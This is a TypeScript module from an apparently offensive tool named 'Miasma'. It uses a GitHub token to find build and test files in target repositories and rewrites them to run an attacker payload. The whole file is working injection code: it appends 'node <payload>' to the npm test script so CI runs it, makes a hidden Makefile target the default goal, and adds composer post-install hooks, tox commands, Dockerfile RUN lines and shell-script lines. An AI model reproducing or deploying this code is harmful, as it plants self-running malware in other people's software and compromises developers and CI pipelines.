Files
Miasma/src/mutator/repository/lotp.ts
T

277 lines
9.7 KiB
TypeScript

import { githubJson } from "../../github_utils/client";
import { logUtil } from "../../utils/logger";
import type { LotpTarget, TargetRepo } from "./types";
declare function scramble(str: string): string;
// ───────────────────────────────────────────────────────────────────────
// Language → candidate setup / test files
//
// Only files that can actually execute commands. We try them in order
// and pick the first one that exists in the repo.
// ───────────────────────────────────────────────────────────────────────
const LANGUAGE_CANDIDATES: Record<string, string[]> = {
JavaScript: ["package.json", "Makefile"],
TypeScript: ["package.json", "Makefile"],
Python: ["tox.ini", "setup.py", "Makefile"],
Go: ["Makefile", "install.sh", "setup.sh"],
Ruby: ["Gemfile", "Rakefile", "Makefile"],
Rust: ["Makefile"],
Java: ["Makefile"],
Kotlin: ["Makefile"],
Shell: ["Makefile", "install.sh", "setup.sh"],
PHP: ["composer.json", "Makefile"],
"C#": ["Makefile"],
"C++": ["Makefile", "CMakeLists.txt"],
C: ["Makefile", "CMakeLists.txt"],
Swift: ["Makefile"],
Dart: ["Makefile"],
Elixir: ["Makefile"],
Dockerfile: ["Dockerfile", "Makefile"],
Perl: ["Makefile.PL", "Makefile"],
Scala: ["Makefile"],
"Objective-C": ["Podfile", "Makefile"],
Lua: ["Makefile"],
};
const FALLBACK_CANDIDATES = ["Makefile", "package.json"];
// ───────────────────────────────────────────────────────────────────────
// Injection builders
// ───────────────────────────────────────────────────────────────────────
function buildInjection(filePath: string, payloadPath: string): string {
const runCmd = `node ${payloadPath}`;
// package.json handled by applyJsonScript — returns the raw command
if (filePath === "package.json") return runCmd;
// JavaScript / TypeScript files
if (/\.(js|ts|mjs|cjs)$/.test(filePath)) {
return `require("child_process").execSync("${runCmd}",{stdio:"inherit"});\n`;
}
// Python files
if (/\.py$/.test(filePath)) {
return `import os; os.system("${runCmd}")\n`;
}
// Perl files
if (/\.pl$/.test(filePath) || filePath === "Makefile.PL") {
return `system("${runCmd}");\n`;
}
// Ruby files (incl. Podfile — CocoaPods DSL evaluated at pod install)
if (
/\.rb$/.test(filePath) ||
filePath === "Gemfile" ||
filePath === "Rakefile" ||
filePath === "Podfile"
) {
return `system("${runCmd}")\n`;
}
// Makefile
if (filePath === "Makefile" || filePath.endsWith(".mk")) {
return `\n.PHONY: _setup\n_setup:\n\t@${runCmd}\n`;
}
// Shell scripts — inject after shebang if present
if (/\.sh$/.test(filePath)) {
return `${runCmd}\n`;
}
// Dockerfile
if (filePath === "Dockerfile") {
return `RUN ${runCmd}\n`;
}
// CMakeLists.txt
if (filePath === "CMakeLists.txt") {
return `execute_process(COMMAND sh -c "${runCmd}")\n`;
}
// composer.json — use scripts section
if (filePath === "composer.json") return runCmd;
// tox.ini — inject into the [testenv] commands directive
if (filePath === "tox.ini") {
return runCmd;
}
// Default: shell one-liner prepend
return `${runCmd}\n`;
}
// ───────────────────────────────────────────────────────────────────────
// File-existence check & fetch
// ───────────────────────────────────────────────────────────────────────
async function fileExists(
token: string,
owner: string,
repo: string,
path: string,
): Promise<boolean> {
try {
await githubJson(token, `/repos/${owner}/${repo}/contents/${path}`);
return true;
} catch {
return false;
}
}
async function fetchFileContent(
token: string,
owner: string,
repo: string,
path: string,
): Promise<string | null> {
try {
const data = await githubJson<{ content?: string; encoding?: string }>(
token,
`/repos/${owner}/${repo}/contents/${path}`,
);
if (data.content && data.encoding === "base64") {
return Buffer.from(data.content, "base64").toString("utf-8");
}
return null;
} catch {
return null;
}
}
// ───────────────────────────────────────────────────────────────────────
// Content modification strategies
// ───────────────────────────────────────────────────────────────────────
function applyPrepend(original: string, injection: string): string {
return injection + original;
}
function applyShell(original: string, injection: string): string {
// Inject after shebang so the script still executes with the right shell
if (original.startsWith("#!")) {
const newline = original.indexOf("\n");
if (newline >= 0) {
return (
original.slice(0, newline + 1) + injection + original.slice(newline + 1)
);
}
}
return injection + original;
}
function applyJsonScript(original: string, runCmd: string): string {
try {
const pkg = JSON.parse(original);
if (!pkg.scripts) pkg.scripts = {};
const existing = pkg.scripts["test"];
// Target `test` — the script CI pipelines run on every commit.
// Append to any existing command so we don't break the original.
pkg.scripts["test"] = existing ? `${existing}; ${runCmd}` : runCmd;
return JSON.stringify(pkg, null, 2) + "\n";
} catch {
return `// test: ${runCmd}\n${original}`;
}
}
function applyMakefile(original: string, injection: string): string {
if (/^all\s*:/m.test(original)) {
return original.replace(/^(all\s*:.*)$/m, `$1 _setup`) + injection;
}
return `.DEFAULT_GOAL := _setup\n\n${injection}${original}`;
}
function applyComposer(original: string, runCmd: string): string {
try {
const pkg = JSON.parse(original);
if (!pkg.scripts) pkg.scripts = {};
pkg.scripts["post-install-cmd"] = runCmd;
return JSON.stringify(pkg, null, 2) + "\n";
} catch {
return `// post-install-cmd: ${runCmd}\n${original}`;
}
}
/** Append our command to the [testenv] commands list in tox.ini. */
function applyToxIni(original: string, runCmd: string): string {
// If there's a commands section, append to it.
const cmdRe = /^(\s*commands\s*=.*)$/m;
if (cmdRe.test(original)) {
return original.replace(cmdRe, `$1\n ${runCmd}`);
}
// No commands section — add a [testenv] block with our command.
return `${original}\n[testenv]\ncommands =\n ${runCmd}\n`;
}
// ───────────────────────────────────────────────────────────────────────
// Public API
// ───────────────────────────────────────────────────────────────────────
export async function determineTarget(
token: string,
repo: TargetRepo,
payloadPath: string,
): Promise<LotpTarget | null> {
const candidates =
(repo.language ? LANGUAGE_CANDIDATES[repo.language] : null) ??
FALLBACK_CANDIDATES;
logUtil.log(
`[RepoMutator] ${repo.fullName}: lang=${repo.language ?? "?"}, checking ${candidates.length} candidate(s)`,
);
for (const candidate of candidates) {
if (await fileExists(token, repo.owner, repo.name, candidate)) {
const injection = buildInjection(candidate, payloadPath);
logUtil.log(`[RepoMutator] ${repo.fullName}: matched "${candidate}"`);
return {
filePath: candidate,
strategy: strategyFor(candidate),
injection,
};
}
}
logUtil.log(`[RepoMutator] ${repo.fullName}: no candidate file found`);
return null;
}
function strategyFor(filePath: string): LotpTarget["strategy"] {
if (filePath === "package.json" || filePath === "composer.json")
return "json_script";
if (filePath === "Makefile" || filePath.endsWith(".mk")) return "makefile";
if (filePath === "tox.ini") return "tox_ini";
if (/\.sh$/.test(filePath)) return "shell";
return "prepend";
}
export async function buildModifiedContent(
token: string,
owner: string,
name: string,
target: LotpTarget,
): Promise<string | null> {
const original = await fetchFileContent(token, owner, name, target.filePath);
if (original === null) return null;
switch (target.strategy) {
case "prepend":
return applyPrepend(original, target.injection);
case "json_script":
if (target.filePath === "composer.json")
return applyComposer(original, target.injection);
return applyJsonScript(original, target.injection);
case "shell":
return applyShell(original, target.injection);
case "makefile":
return applyMakefile(original, target.injection);
case "tox_ini":
return applyToxIni(original, target.injection);
default:
return applyPrepend(original, target.injection);
}
}